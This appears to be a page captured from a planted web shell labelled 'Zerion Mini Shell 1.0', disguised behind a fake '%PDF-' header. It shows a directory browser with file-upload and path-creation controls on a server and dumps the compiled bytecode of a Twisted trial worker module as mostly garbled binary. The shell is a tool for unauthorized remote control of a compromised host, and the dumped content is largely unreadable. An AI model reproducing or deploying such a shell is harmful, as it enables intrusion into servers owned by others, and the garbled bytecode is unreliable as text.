%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/trial/_dist/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/trial/_dist/__pycache__/workertrial.cpython-312.pyc

�

Ϫ�fz	���dZddlZddlZddlZddlmZddlmZmZddl	m
Z
mZddlm
Z
Gd�d�Zejfd	�Zed
k(re�yy)zj
Implementation of C{AMP} worker commands, and main executable entry point for
the workers.

@since: 12.3
�N)�FileWrapper)�startLoggingWithObserver�textFromEventDict)�_WORKER_AMP_STDIN�_WORKER_AMP_STDOUT)�
WorkerOptionsc��eZdZdZd�Zd�Zy)�WorkerLogObserverzF
    A log observer that forward its output to a C{AMP} protocol.
    c��||_y)zg
        @param protocol: a connected C{AMP} protocol instance.
        @type protocol: C{AMP}
        N)�protocol)�selfrs  �A/usr/lib/python3/dist-packages/twisted/trial/_dist/workertrial.py�__init__zWorkerLogObserver.__init__s��
!��
�c�z�ddlm}t|�}|�y|jj	|j
|��y)z'
        Produce a log output.
        r)�managercommandsN)�out)�twisted.trial._distrrr�
callRemote�	TestWrite)r
�	eventDictr�texts    r�emitzWorkerLogObserver.emit#s6��	8� ��+���<���
�
� � ��!:�!:�� �ErN)�__name__�
__module__�__qualname__�__doc__rr�rrr
r
s���!�	Frr
c�2�t�}|j�ddlm}||d�}|td�}|t
d�}|j
t|��t|�}t|jd�		|jd�}|d
k(rn^|j!|�|j#�t$j&j#�t$j(j#��v|j*r\t%j,d	�|j*j/�}	|	j1dd|j3�j4��y	y	#t$r,}|jdtjk(rYd	}~���d	}~wwxYw)z�
    Main function to be run if __name__ == "__main__".

    @param _fdopen: If specified, the function to use in place of C{os.fdopen}.
    @type _fdopen: C{callable}
    r)�WorkerProtocolzforce-gc�rb�wbFT�Nr)�show_missing�summary�coverdir)r�parseOptions�twisted.trial._dist.workerr rr�makeConnectionrr
rr�read�OSError�args�errno�EINTR�dataReceived�flush�sys�stdout�stderr�tracer�settrace�results�
write_resultsr&�path)
�_fdopen�configr �workerProtocol�
protocolIn�protocolOut�observer�r�er6s
          r�mainrA/sN���_�F�
����9�#�F�:�$6�7�N��*�D�1�J��,�d�3�K��!�!�+�k�":�;� ��0�H��X�]�]�E�2�
�	�����"�A�
��8���'�'��*������J�J�����J�J����� �}�}����T���-�-�'�'�)������u�v���7H�7M�7M�	�	
����	��v�v�a�y�E�K�K�'����		�s�E!�!	F�* F�F�F�__main__)rr-�osr1�twisted.internet.protocolr�twisted.python.logrrrrr�twisted.trial._dist.optionsrr
�fdopenrArrrr�<module>rHsP���
�	�
�1�J�E�5�F�F�0���*
�Z�z���F�r

Zerion Mini Shell 1.0